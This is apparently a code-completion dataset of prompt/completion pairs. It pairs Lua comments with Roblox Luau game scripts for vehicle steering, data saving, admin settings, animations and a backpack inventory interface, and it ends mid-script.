prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Gets the acceleration back as a Vector3, averages it and then determines if the -- average movement is over a minimum sensitivity
local function changeAcceleration(acceleration) if cooldown then return end if isInTutorial() then return end local accel = acceleration.Position local magnitude = accel.Magnitude -- Used to debug Accelerometer --debugLabel.Text = "Accel: " .. string.format("%.2f", magnitude) if (magnitude > sensitivity) then registerMovement(magnitude) end end
--[[START]]
script.Parent:WaitForChild("Car") script.Parent:WaitForChild("IsOn") script.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Values")
--Steering Initial Setup--
script.Parent.HeadsUpDisplay = false script.Parent.MaxSpeed = 0 script.Parent.Torque = 0 script.Parent.TurnSpeed = 0 script.Parent.CanCollide = false lv = script.Parent.CFrame.lookVector local ref = Instance.new("Part") ref.Parent = script.Parent.Parent ref.Anchored = true ref.CanCollide = false ref.Parent = script.Parent.Parent ref.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) ref.Size = Vector3.new(1, 1, 1) ref.Name = "ref" ref.Transparency = 1 local alig = Instance.new("Part") alig.Parent = script.Parent.Parent alig.CanCollide = false alig.Parent = script.Parent.Parent alig.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)) alig.Size = Vector3.new(1, 1, 1) alig.Name = "vr"
--- DataStore
local DataStore = game:GetService("DataStoreService") local SpawnPoint1 = DataStore:GetDataStore("SpawnPoint") game.Players.PlayerAdded:connect(function(Plr) local Data = Instance.new("Folder") Data.Name = "Stats" Data.Parent = Plr --- SpawnPoint local SpawnPoint = Instance.new("StringValue", Data) SpawnPoint.Name = "SpawnPoint" SpawnPoint.Value = "One" --- DataStore1 SpawnPoint.Value = SpawnPoint1:GetAsync(Plr.UserId) or SpawnPoint.Value SpawnPoint1:SetAsync(Plr.UserId, SpawnPoint.Value) SpawnPoint.Changed:connect(function() SpawnPoint1:SetAsync(Plr.UserId, SpawnPoint.Value) end) end)
-- -- THESE ARE THE CORE SETTINGS -- YOU WILL NOT BE ABLE TO CHANGE THEM IN-GAME
local Settings={ --[[ Style Options ������������� ]] Flat=false; -- Enables Flat theme / Disables Aero theme ForcedColor=false; -- Forces everyone to have set color & transparency Color=Color3.new(0,0,0); -- Changes the Color of the user interface ColorTransparency=.75; -- Changes the Transparency of the user interface Chat=false; -- Enables the custom chat BubbleChat=false; -- Enables the custom bubble chat --[[ Basic Settings �������������� ]] AdminCredit=false; -- Enables the credit GUI for that appears in the bottom right AutoClean=false; -- Enables automatic cleaning of hats & tools in the Workspace AutoCleanDelay=60; -- The delay between each AutoClean routine CommandBar=true; -- Enables the Command Bar | GLOBAL KEYBIND: \ FunCommands=true; -- Enables fun yet unnecessary commands FreeAdmin=false; -- Set to 1-5 to grant admin powers to all, otherwise set to false PublicLogs=false; -- Allows all users to see the command & chat logs Prefix='/'; -- Character to begin a command --[[ Admin Powers ������������ 0 Player 1 VIP Can use nonabusive commands only on self 2 Moderator Can kick, mute, & use most commands 3 Administrator Can ban, crash, & set Moderators/VIP 4 SuperAdmin Can grant permanent powers, & shutdown the game 5 Owner Can set SuperAdmins, & use all the commands 6 Game Creator Can set owners & use all the commands Group & VIP Admin ����������������� You can set multiple Groups & Ranks to grant users admin powers GroupAdmin={ [12345]={[254]=4,[253]=3}; [GROUPID]={[RANK]=ADMINPOWER} }; You can set multiple Assets to grant users admin powers VIPAdmin={ [12345]=3; [54321]=4; [ITEMID]=ADMINPOWER; }; ]] GroupAdmin={ }; VIPAdmin={ }; --[[ Permissions ����������� -- You can set the admin power required to use a command -- COMMANDNAME=ADMINPOWER; ]] Permissions={ }; } return {Settings,{Owners,SuperAdmins,Admins,Mods,VIP,Banned}}
--[=[ Wraps a function that yields into one that returns a Promise. Any errors that occur while executing the function will be turned into rejections. :::info `Promise.promisify` is similar to [Promise.try](#try), except the callback is returned as a callable function instead of being invoked immediately. ::: ```lua local sleep = Promise.promisify(wait) sleep(1):andThen(print) ``` ```lua local isPlayerInGroup = Promise.promisify(function(player, groupId) return player:IsInGroup(groupId) end) ``` @param callback (...: any) -> ...any @return (...: any) -> Promise ]=]
function Promise.promisify(callback) return function(...) return Promise._try(debug.traceback(nil, 2), callback, ...) end end
-- If a reason was non-blank, the following is concatenated to the kick message.
local REASON = "\nReason: %REASON%"
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) return ClassInformationTable:GetClassFolder(player,"Paladin").XP.Value < 100 end
------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -- STATE CHANGE HANDLERS
function onRunning(speed) local movedDuringEmote = userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0) local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75 humanoidSpeed = speed if speed > speedThreshold then playAnimation("walk", 0.2, Humanoid) if pose ~= "Running" then pose = "Running" updateVelocity(0) -- Force velocity update in response to state change end else if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then playAnimation("idle", 0.2, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) local scale = 5.0 playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end
-- TableUtil -- Stephen Leitnick -- September 13, 2017
type Table = {any} type MapPredicate = (any, any, Table) -> any type FilterPredicate = (any, any, Table) -> boolean type ReducePredicate = (number, any, any, Table) -> any type FindCallback = (any, any, Table) -> boolean type IteratorFunc = (t: Table, k: any) -> (any, any)
--[[ All configurations are located in the "Settings" Module script. Please don't edit this script unless you know what you're doing. --]]
local Tycoons = {} local Teams = game:GetService('Teams') local Settings = require(script.Parent.Settings) local BC = BrickColor local Storage = Instance.new('Folder', game.ServerStorage) Storage.Name = "PlayerMoney" Instance.new('Model',workspace).Name = "PartStorage" -- parts dropped go in here to be killed >:) function returnColorTaken(color) for i,v in pairs(Teams:GetChildren()) do if v:IsA('Team') then if v.TeamColor == color then return true end end end return false end
-- Backpack Version 5.1 -- OnlyTwentyCharacters, SolarCrane
local BackpackScript = {} BackpackScript.OpenClose = nil -- Function to toggle open/close BackpackScript.IsOpen = false BackpackScript.StateChanged = Instance.new("BindableEvent") -- Fires after any open/close, passes IsNowOpen BackpackScript.ModuleName = "Backpack" BackpackScript.KeepVRTopbarOpen = true BackpackScript.VRIsExclusive = true BackpackScript.VRClosesNonExclusive = true local ICON_SIZE = 60 local FONT_SIZE = Enum.FontSize.Size14 local ICON_BUFFER = 5 local BACKGROUND_FADE = 0 local BACKGROUND_COLOR = Color3.fromRGB(32,38,45) local VR_FADE_TIME = 1 local VR_PANEL_RESOLUTION = 100 local SLOT_DRAGGABLE_COLOR = Color3.fromRGB(41, 53, 67) local SLOT_EQUIP_COLOR = Color3.new(90/255, 142/255, 233/255) local SLOT_SELECTED_BG_COLOR = Color3.fromRGB(42, 60, 80) local SLOT_GRADIENT_SEQUENCE = ColorSequence.new(Color3.fromRGB(255,255,255),Color3.fromRGB(200,200,200)) local SLOT_GRADIENT_ROTATION = 90 local SLOT_SELECTED_GRADIENT_ROTATION = 270 local SLOT_SELECTED_ROTATION = 7 -- Rotation, in degrees when a slot is selected or being dragged local SLOT_EQUIP_THICKNESS = 0 -- Relative local SLOT_FADE_LOCKED = 0 -- Locked means undraggable local SLOT_BORDER_COLOR = Color3.new(1, 1, 1) -- Appears when dragging local TOOLTIP_BUFFER = 6 local TOOLTIP_HEIGHT = 16 local TOOLTIP_OFFSET = -25 -- From top local ARROW_IMAGE_OPEN = 'rbxasset://textures/ui/TopBar/inventoryOn.png' local ARROW_IMAGE_CLOSE = 'rbxasset://textures/ui/TopBar/inventoryOff.png' local ARROW_HOTKEY = {Enum.KeyCode.Backquote, Enum.KeyCode.DPadUp} --TODO: Hookup '~' too? local ICON_MODULE = script.Icon local HOTBAR_SLOTS_FULL = 12 local HOTBAR_SLOTS_VR = 6 local HOTBAR_SLOTS_MINI = 3 local HOTBAR_SLOTS_WIDTH_CUTOFF = 1024 -- Anything smaller is MINI local HOTBAR_OFFSET_FROMBOTTOM = -30 -- Offset to make room for the Health GUI local INVENTORY_ROWS_FULL = 4 local INVENTORY_ROWS_VR = 3 local INVENTORY_ROWS_MINI = 2 local INVENTORY_HEADER_SIZE = 40 local INVENTORY_ARROWS_BUFFER_VR = 40 local SEARCH_BUFFER = 5 local SEARCH_WIDTH = 200 local SEARCH_TEXT = "Search" local SEARCH_TEXT_OFFSET_FROMLEFT = 10 local SEARCH_BACKGROUND_COLOR = Color3.new(0.37, 0.37, 0.37) local SEARCH_BACKGROUND_FADE = 1 local DOUBLE_CLICK_TIME = 0.5 local GetScreenResolution = function () local I = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui) local Frame = Instance.new("Frame", I) Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0) local AbsoluteSize = Frame.AbsoluteSize I:Destroy() return AbsoluteSize end local ZERO_KEY_VALUE = Enum.KeyCode.Zero.Value local DROP_HOTKEY_VALUE = Enum.KeyCode.Backspace.Value local GAMEPAD_INPUT_TYPES = { [Enum.UserInputType.Gamepad1] = true; [Enum.UserInputType.Gamepad2] = true; [Enum.UserInputType.Gamepad3] = true; [Enum.UserInputType.Gamepad4] = true; [Enum.UserInputType.Gamepad5] = true; [Enum.UserInputType.Gamepad6] = true; [Enum.UserInputType.Gamepad7] = true; [Enum.UserInputType.Gamepad8] = true; } local UserInputService = game:GetService('UserInputService') local PlayersService = game:GetService('Players') local ReplicatedStorage = game:GetService('ReplicatedStorage') local StarterGui = game:GetService('StarterGui') local GuiService = game:GetService('GuiService') local TweenService = game:GetService("TweenService") local CoreGui = PlayersService.LocalPlayer.PlayerGui local TopbarPlusReference = ReplicatedStorage:FindFirstChild("TopbarPlusReference") local BackpackEnabled = true if TopbarPlusReference then ICON_MODULE = TopbarPlusReference.Value end local RobloxGui = Instance.new("ScreenGui", CoreGui) RobloxGui.DisplayOrder = 120 RobloxGui.IgnoreGuiInset = true RobloxGui.ResetOnSpawn = false RobloxGui.Name = "BackpackGui" local ContextActionService = game:GetService("ContextActionService") local RunService = game:GetService('RunService') local VRService = game:GetService('VRService') local Utility = require(script.Utility) local GameTranslator = require(script.GameTranslator) local Themes = require(ICON_MODULE.Themes) local Icon = require(ICON_MODULE) local FFlagBackpackScriptUseFormatByKey = true local FFlagCoreScriptTranslateGameText2 = true local FFlagRobloxGuiSiblingZindexs = true local IsTenFootInterface = GuiService:IsTenFootInterface() if IsTenFootInterface then ICON_SIZE = 100 FONT_SIZE = Enum.FontSize.Size24 end local GamepadActionsBound = false local IS_PHONE = UserInputService.TouchEnabled and GetScreenResolution().X < HOTBAR_SLOTS_WIDTH_CUTOFF local Player = PlayersService.LocalPlayer local MainFrame = nil local HotbarFrame = nil local InventoryFrame = nil local VRInventorySelector = nil local ScrollingFrame = nil local UIGridFrame = nil local UIGridLayout = nil local ScrollUpInventoryButton = nil local ScrollDownInventoryButton = nil local Character = Player.Character or Player.CharacterAdded:Wait() local Humanoid = Character:FindFirstChildOfClass("Humanoid") local Backpack = Player:WaitForChild("Backpack") local InventoryIcon = Icon.new() InventoryIcon:setImage(ARROW_IMAGE_CLOSE, "deselected") InventoryIcon:setImage(ARROW_IMAGE_OPEN, "selected") InventoryIcon:setTheme(Themes.DefaultDisabled) InventoryIcon:bindToggleKey(ARROW_HOTKEY[1], ARROW_HOTKEY[2]) InventoryIcon:setName("InventoryIcon") InventoryIcon:setImageYScale(1.12) InventoryIcon:setOrder(-5) InventoryIcon.deselectWhenOtherIconSelected = false local Slots = {} -- List of all Slots by index local LowestEmptySlot = nil local SlotsByTool = {} -- Map of Tools to their assigned Slots local HotkeyFns = {} -- Map of KeyCode values to their assigned behaviors local Dragging = {} -- Only used to check if anything is being dragged, to disable other input local FullHotbarSlots = 0 -- Now being used to also determine whether or not LB and RB on the gamepad are enabled. local StarterToolFound = false -- Special handling is required for the gear currently equipped on the site local WholeThingEnabled = false local TextBoxFocused = false -- ANY TextBox, not just the search box local ViewingSearchResults = false -- If the results of a search are currently being viewed local HotkeyStrings = {} -- Used for eating/releasing hotkeys local CharConns = {} -- Holds character Connections to be cleared later local GamepadEnabled = false -- determines if our gui needs to be gamepad friendly local TimeOfLastToolChange = 0 local IsVR = VRService.VREnabled -- Are we currently using a VR device? local NumberOfHotbarSlots = IsVR and HOTBAR_SLOTS_VR or (IS_PHONE and HOTBAR_SLOTS_MINI or HOTBAR_SLOTS_FULL) -- Number of slots shown at the bottom local NumberOfInventoryRows = IsVR and INVENTORY_ROWS_VR or (IS_PHONE and INVENTORY_ROWS_MINI or INVENTORY_ROWS_FULL) -- How many rows in the popped-up inventory local BackpackPanel = nil local lastEquippedSlot = nil local function EvaluateBackpackPanelVisibility(enabled) return enabled and InventoryIcon.enabled and BackpackEnabled and VRService.VREnabled end local function ShowVRBackpackPopup() if BackpackPanel and EvaluateBackpackPanelVisibility(true) then BackpackPanel:ForceShowForSeconds(2) end end local function NewGui(className, objectName) local newGui = Instance.new(className) newGui.Name = objectName newGui.BackgroundColor3 = Color3.new(0, 0, 0) newGui.BackgroundTransparency = 1 newGui.BorderColor3 = Color3.new(0, 0, 0) newGui.BorderSizePixel = 0 newGui.Size = UDim2.new(1, 0, 1, 0) local newGradient = Instance.new("UIGradient") newGradient.Color = SLOT_GRADIENT_SEQUENCE newGradient.Rotation = SLOT_GRADIENT_ROTATION newGradient.Name = "Gradient" newGradient.Parent = newGui if className:match('Text') then newGui.TextColor3 = Color3.new(1, 1, 1) newGui.Text = '' newGui.Font = Enum.Font.Code newGui.FontSize = FONT_SIZE newGui.TextWrapped = true if className == 'TextButton' then newGui.Font = Enum.Font.Code newGui.BorderSizePixel = 1 end end return newGui end local function FindLowestEmpty() for i = 1, NumberOfHotbarSlots do local slot = Slots[i] if not slot.Tool then return slot end end return nil end local function isInventoryEmpty() for i = NumberOfHotbarSlots + 1, #Slots do local slot = Slots[i] if slot and slot.Tool then return false end end return true end local function UseGazeSelection() return UserInputService.VREnabled end local function AdjustHotbarFrames() local inventoryOpen = InventoryFrame.Visible -- (Show all) local visualTotal = (inventoryOpen) and NumberOfHotbarSlots or FullHotbarSlots local visualIndex = 0 local hotbarIsVisible = (visualTotal >= 1) for i = 1, NumberOfHotbarSlots do local slot = Slots[i] if slot.Tool or inventoryOpen then visualIndex = visualIndex + 1 slot:Readjust(visualIndex, visualTotal) slot.Frame.Visible = true else slot.Frame.Visible = false end end end local function UpdateScrollingFrameCanvasSize() local countX = math.floor(ScrollingFrame.AbsoluteSize.X/(ICON_SIZE + ICON_BUFFER)) local maxRow = math.ceil((#UIGridFrame:GetChildren() - 1)/countX) local canvasSizeY = maxRow*(ICON_SIZE + ICON_BUFFER) + ICON_BUFFER ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, canvasSizeY) end local function AdjustInventoryFrames() for i = NumberOfHotbarSlots + 1, #Slots do local slot = Slots[i] slot.Frame.LayoutOrder = slot.Index slot.Frame.Visible = (slot.Tool ~= nil) end UpdateScrollingFrameCanvasSize() end local function UpdateBackpackLayout() HotbarFrame.Size = UDim2.new(0, ICON_BUFFER + (NumberOfHotbarSlots * (ICON_SIZE + ICON_BUFFER)), 0, ICON_BUFFER + ICON_SIZE + ICON_BUFFER) HotbarFrame.Position = UDim2.new(0.5, -HotbarFrame.Size.X.Offset / 2, 1, -HotbarFrame.Size.Y.Offset) InventoryFrame.Size = UDim2.new(0, HotbarFrame.Size.X.Offset, 0, (HotbarFrame.Size.Y.Offset * NumberOfInventoryRows) + INVENTORY_HEADER_SIZE + (IsVR and 2*INVENTORY_ARROWS_BUFFER_VR or 0)) InventoryFrame.Position = UDim2.new(0.5, -InventoryFrame.Size.X.Offset / 2, 1, HotbarFrame.Position.Y.Offset - InventoryFrame.Size.Y.Offset) ScrollingFrame.Size = UDim2.new(1, ScrollingFrame.ScrollBarThickness + 1, 1, -INVENTORY_HEADER_SIZE - (IsVR and 2*INVENTORY_ARROWS_BUFFER_VR or 0)) ScrollingFrame.Position = UDim2.new(0, 0, 0, INVENTORY_HEADER_SIZE + (IsVR and INVENTORY_ARROWS_BUFFER_VR or 0)) AdjustHotbarFrames() AdjustInventoryFrames() end local function Clamp(low, high, num) return math.min(high, math.max(low, num)) end local function CheckBounds(guiObject, x, y) local pos = guiObject.AbsolutePosition local size = guiObject.AbsoluteSize return (x > pos.X and x <= pos.X + size.X and y > pos.Y and y <= pos.Y + size.Y) end local function GetOffset(guiObject, point) local centerPoint = guiObject.AbsolutePosition + (guiObject.AbsoluteSize / 2) return (centerPoint - point).magnitude end local function UnequipAllTools() --NOTE: HopperBin if Humanoid then Humanoid:UnequipTools() end end local function EquipNewTool(tool) --NOTE: HopperBin UnequipAllTools() --Humanoid:EquipTool(tool) --NOTE: This would also unequip current Tool tool.Parent = Character --TODO: Switch back to above line after EquipTool is fixed! end local function IsEquipped(tool) return tool and tool.Parent == Character --NOTE: HopperBin end local function MakeSlot(parent, index) index = index or (#Slots + 1) -- Slot Definition -- local slot = {} slot.Tool = nil slot.Index = index slot.Frame = nil local LocalizedName = nil --remove with FFlagCoreScriptTranslateGameText2 local LocalizedToolTip = nil --remove with FFlagCoreScriptTranslateGameText2 local SlotFrameParent = nil local SlotFrame = nil local FakeSlotFrame = nil local ToolIcon = nil local ToolName = nil local ToolChangeConn = nil local HighlightFrame = nil local SelectionObj = nil --NOTE: The following are only defined for Hotbar Slots local ToolTip = nil local SlotNumber = nil -- Slot Functions -- local function UpdateSlotFading() if VRService.VREnabled and BackpackPanel then local panelTransparency = BackpackPanel.transparency local slotTransparency = SLOT_FADE_LOCKED -- This equation multiplies the two transparencies together. local finalTransparency = panelTransparency + slotTransparency - panelTransparency * slotTransparency SlotFrame.BackgroundTransparency = finalTransparency SlotFrame.TextTransparency = finalTransparency if ToolIcon then ToolIcon.ImageTransparency = InventoryFrame.Visible and 0 or panelTransparency end if HighlightFrame then for _, child in pairs(HighlightFrame:GetChildren()) do child.BackgroundTransparency = finalTransparency end end SlotFrame.SelectionImageObject = SelectionObj else SlotFrame.SelectionImageObject = nil SlotFrame.BackgroundTransparency = (SlotFrame.Draggable) and 0 or SLOT_FADE_LOCKED end SlotFrame.BackgroundColor3 = (SlotFrame.Draggable) and SLOT_DRAGGABLE_COLOR or BACKGROUND_COLOR end function slot:Readjust(visualIndex, visualTotal) --NOTE: Only used for Hotbar slots local centered = HotbarFrame.Size.X.Offset / 2 local sizePlus = ICON_BUFFER + ICON_SIZE local midpointish = (visualTotal / 2) + 0.5 local factor = visualIndex - midpointish SlotFrame.Position = UDim2.new(0, centered - (ICON_SIZE / 2) + (sizePlus * factor), 0, ICON_BUFFER) end function slot:Fill(tool : Tool) if not tool then return self:Clear() end self.Tool = tool local function assignToolData() if FFlagCoreScriptTranslateGameText2 then local icon = tool.TextureId ToolIcon.Image = icon if icon ~= "" then ToolName.Visible = false end ToolName.Text = tool.Name if ToolTip and tool:IsA('Tool') then --NOTE: HopperBin ToolTip.Text = tool.ToolTip local width = ToolTip.TextBounds.X + TOOLTIP_BUFFER ToolTip.Size = UDim2.new(0, width, 0, TOOLTIP_HEIGHT) ToolTip.Position = UDim2.new(0.5, -width / 2, 0, TOOLTIP_OFFSET) end else LocalizedName = tool.Name LocalizedToolTip = nil local icon = tool.TextureId ToolIcon.Image = icon if icon ~= '' then ToolName.Text = LocalizedName else ToolName.Text = "" end -- (Only show name if no icon) if ToolTip and tool:IsA('Tool') then --NOTE: HopperBin LocalizedToolTip = GameTranslator:TranslateGameText(tool, tool.ToolTip) ToolTip.Text = tool.ToolTip local width = ToolTip.TextBounds.X + TOOLTIP_BUFFER ToolTip.Size = UDim2.new(0, width, 0, TOOLTIP_HEIGHT) ToolTip.Position = UDim2.new(0.5, -width / 2, 0, TOOLTIP_OFFSET) end end end assignToolData() if ToolChangeConn then ToolChangeConn:disconnect() ToolChangeConn = nil end ToolChangeConn = tool.Changed:connect(function(property) if property == 'TextureId' or property == 'Name' or property == 'ToolTip' then assignToolData() end if property == "Parent" then if tool:IsDescendantOf(workspace) then TweenService:Create(SlotFrame,TweenInfo.new(0.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Rotation = SLOT_SELECTED_ROTATION, BackgroundColor3 = SLOT_SELECTED_BG_COLOR}):Play() TweenService:Create(SlotFrame.Gradient,TweenInfo.new(0.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Rotation = SLOT_SELECTED_GRADIENT_ROTATION}):Play() else TweenService:Create(SlotFrame,TweenInfo.new(0.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Rotation = 0, BackgroundColor3 = BACKGROUND_COLOR}):Play() TweenService:Create(SlotFrame.Gradient,TweenInfo.new(0.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Rotation = SLOT_GRADIENT_ROTATION}):Play() end end end) local hotbarSlot = (self.Index <= NumberOfHotbarSlots) local inventoryOpen = InventoryFrame.Visible if (not hotbarSlot or inventoryOpen) and not UserInputService.VREnabled then SlotFrame.Draggable = true end self:UpdateEquipView() if hotbarSlot then FullHotbarSlots = FullHotbarSlots + 1 -- If using a controller, determine whether or not we can enable BindCoreAction("RBXHotbarEquip", etc) if WholeThingEnabled then if FullHotbarSlots >= 1 and not GamepadActionsBound then -- Player added first item to a hotbar slot, enable BindCoreAction GamepadActionsBound = true ContextActionService:BindAction("RBXHotbarEquip", changeToolFunc, false, Enum.KeyCode.ButtonL1, Enum.KeyCode.ButtonR1) end end end SlotsByTool[tool] = self LowestEmptySlot = FindLowestEmpty() end function slot:Clear() if not self.Tool then return end if ToolChangeConn then ToolChangeConn:disconnect() ToolChangeConn = nil end ToolIcon.Image = '' ToolName.Text = '' if ToolTip then ToolTip.Text = '' ToolTip.Visible = false end SlotFrame.Draggable = false self:UpdateEquipView(true) -- Show as unequipped if self.Index <= NumberOfHotbarSlots then FullHotbarSlots = FullHotbarSlots - 1 if FullHotbarSlots < 1 then -- Player removed last item from hotbar; UnbindCoreAction("RBXHotbarEquip"), allowing the developer to use LB and RB. GamepadActionsBound = false ContextActionService:UnbindAction("RBXHotbarEquip") end end SlotsByTool[self.Tool] = nil self.Tool = nil LowestEmptySlot = FindLowestEmpty() end function slot:UpdateEquipView(unequippedOverride) if not unequippedOverride and IsEquipped(self.Tool) then -- Equipped lastEquippedSlot = slot if not HighlightFrame then HighlightFrame = NewGui('Frame', 'Equipped') HighlightFrame.ZIndex = SlotFrame.ZIndex local t = SLOT_EQUIP_THICKNESS local dataTable = { -- Relative sizes and positions {t, 1, 0, 0}, {1 - 2*t, t, t, 0}, {t, 1, 1 - t, 0}, {1 - 2*t, t, t, 1 - t}, } for _, data in pairs(dataTable) do local edgeFrame = NewGui("Frame", "Edge") edgeFrame.BackgroundTransparency = 0 edgeFrame.BackgroundColor3 = SLOT_EQUIP_COLOR edgeFrame.Size = UDim2.new(data[1], 0, data[2], 0) edgeFrame.Position = UDim2.new(data[3], 0, data[4], 0) edgeFrame.ZIndex = HighlightFrame.ZIndex edgeFrame.Parent = HighlightFrame end end HighlightFrame.Parent = SlotFrame else -- In the Backpack if HighlightFrame then HighlightFrame.Parent = nil end end UpdateSlotFading() end function slot:IsEquipped() return IsEquipped(self.Tool) end function slot:Delete() SlotFrame:Destroy() --NOTE: Also clears connections table.remove(Slots, self.Index) local newSize = #Slots -- Now adjust the rest (both visually and representationally) for i = self.Index, newSize do Slots[i]:SlideBack() end UpdateScrollingFrameCanvasSize() end function slot:Swap(targetSlot) --NOTE: This slot (self) must not be empty! local myTool, otherTool = self.Tool, targetSlot.Tool self:Clear() if otherTool then -- (Target slot might be empty) targetSlot:Clear() self:Fill(otherTool) end if myTool then targetSlot:Fill(myTool) else targetSlot:Clear() end end function slot:SlideBack() -- For inventory slot shifting self.Index = self.Index - 1 SlotFrame.Name = self.Index SlotFrame.LayoutOrder = self.Index end function slot:TurnNumber(on) if SlotNumber then SlotNumber.Visible = on end end function slot:SetClickability(on) -- (Happens on open/close arrow) if self.Tool then if UserInputService.VREnabled then SlotFrame.Draggable = false else SlotFrame.Draggable = not on end UpdateSlotFading() end end function slot:CheckTerms(terms) local hits = 0 local function checkEm(str, term) local _, n = str:lower():gsub(term, '') hits = hits + n end local tool = self.Tool if tool then for term in pairs(terms) do if FFlagCoreScriptTranslateGameText2 then checkEm(ToolName.Text, term) if tool:IsA('Tool') then --NOTE: HopperBin local toolTipText = ToolTip and ToolTip.Text or "" checkEm(toolTipText, term) end else checkEm(LocalizedName, term) if tool:IsA('Tool') then --NOTE: HopperBin checkEm(LocalizedToolTip, term) end end end end return hits end -- Slot select logic, activated by clicking or pressing hotkey function slot:Select() local tool = slot.Tool if tool then if IsEquipped(tool) then --NOTE: HopperBin UnequipAllTools() elseif tool.Parent == Backpack then EquipNewTool(tool) end end end -- Slot Init Logic -- SlotFrame = NewGui('TextButton', index) SlotFrame.BackgroundColor3 = BACKGROUND_COLOR SlotFrame.BorderColor3 = SLOT_BORDER_COLOR SlotFrame.Text = "" SlotFrame.AutoButtonColor = false SlotFrame.BorderSizePixel = 0 SlotFrame.Size = UDim2.new(0, ICON_SIZE, 0, ICON_SIZE) SlotFrame.Active = true SlotFrame.Draggable = false SlotFrame.BackgroundTransparency = SLOT_FADE_LOCKED SlotFrame.MouseButton1Click:connect(function() changeSlot(slot) end) slot.Frame = SlotFrame do local selectionObjectClipper = NewGui('Frame', 'SelectionObjectClipper') selectionObjectClipper.Visible = false selectionObjectClipper.Parent = SlotFrame SelectionObj = NewGui('ImageLabel', 'Selector') SelectionObj.Size = UDim2.new(1, 0, 1, 0) SelectionObj.Image = "rbxasset://textures/ui/Keyboard/key_selection_9slice.png" SelectionObj.ScaleType = Enum.ScaleType.Slice SelectionObj.SliceCenter = Rect.new(12,12,52,52) SelectionObj.Parent = selectionObjectClipper end ToolIcon = NewGui('ImageLabel', 'Icon') ToolIcon.Size = UDim2.new(0.8, 0, 0.8, 0) ToolIcon.Position = UDim2.new(0.1, 0, 0.1, 0) ToolIcon.Parent = SlotFrame ToolName = NewGui('TextLabel', 'ToolName') ToolName.Size = UDim2.new(1, -2, 1, -2) ToolName.Position = UDim2.new(0, 1, 0, 1) ToolName.Parent = SlotFrame slot.Frame.LayoutOrder = slot.Index if index <= NumberOfHotbarSlots then -- Hotbar-Specific Slot Stuff -- ToolTip stuff ToolTip = NewGui('TextLabel', 'ToolTip') ToolTip.ZIndex = 2 ToolTip.TextWrapped = false ToolTip.TextYAlignment = Enum.TextYAlignment.Top ToolTip.BackgroundColor3 = Color3.new(0.4, 0.4, 0.4) ToolTip.BackgroundTransparency = 0 ToolTip.Visible = false ToolTip.Parent = SlotFrame SlotFrame.MouseEnter:connect(function() if ToolTip.Text ~= '' then ToolTip.Visible = true end end) SlotFrame.MouseLeave:connect(function() ToolTip.Visible = false end) function slot:MoveToInventory() if slot.Index <= NumberOfHotbarSlots then -- From a Hotbar slot local tool = slot.Tool self:Clear() --NOTE: Order matters here local newSlot = MakeSlot(UIGridFrame) newSlot:Fill(tool) if IsEquipped(tool) then -- Also unequip it --NOTE: HopperBin UnequipAllTools() end -- Also hide the inventory slot if we're showing results right now if ViewingSearchResults then newSlot.Frame.Visible = false newSlot.Parent = InventoryFrame end end end -- Show label and assign hotkeys for 1-9 and 0 (zero is always last slot when > 10 total) if index < 10 or index == NumberOfHotbarSlots then -- NOTE: Hardcoded on purpose! local slotNum = (index < 10) and index or 0 SlotNumber = NewGui('TextLabel', 'Number') SlotNumber.Text = slotNum SlotNumber.Size = UDim2.new(0.15, 0, 0.15, 0) SlotNumber.Visible = false SlotNumber.Parent = SlotFrame HotkeyFns[ZERO_KEY_VALUE + slotNum] = slot.Select end end do -- Dragging Logic local startPoint = SlotFrame.Position local lastUpTime = 0 local startParent = nil SlotFrame.DragBegin:connect(function(dragPoint) Dragging[SlotFrame] = true startPoint = dragPoint SlotFrame.BorderSizePixel = 2 InventoryIcon:lock() -- Raise above other slots SlotFrame.ZIndex = 2 ToolIcon.ZIndex = 2 ToolName.ZIndex = 2 if FFlagRobloxGuiSiblingZindexs then SlotFrame.Parent.ZIndex = 2 end if SlotNumber then SlotNumber.ZIndex = 2 end if HighlightFrame then HighlightFrame.ZIndex = 2 for _, child : GuiObject in pairs(HighlightFrame:GetChildren()) do if (not child:IsA("UIComponent")) then child.ZIndex = 2 end end end -- Circumvent the ScrollingFrame's ClipsDescendants property startParent = SlotFrame.Parent if startParent == UIGridFrame then local oldAbsolutPos = SlotFrame.AbsolutePosition local newPosition = UDim2.new(0, SlotFrame.AbsolutePosition.X - InventoryFrame.AbsolutePosition.X, 0, SlotFrame.AbsolutePosition.Y - InventoryFrame.AbsolutePosition.Y) SlotFrame.Parent = InventoryFrame SlotFrame.Position = newPosition FakeSlotFrame = NewGui('Frame', 'FakeSlot') FakeSlotFrame.LayoutOrder = SlotFrame.LayoutOrder FakeSlotFrame.Size = SlotFrame.Size FakeSlotFrame.BackgroundTransparency = 1 FakeSlotFrame.Parent = UIGridFrame end end) SlotFrame.DragStopped:connect(function(x, y) if FakeSlotFrame then FakeSlotFrame:Destroy() end local now 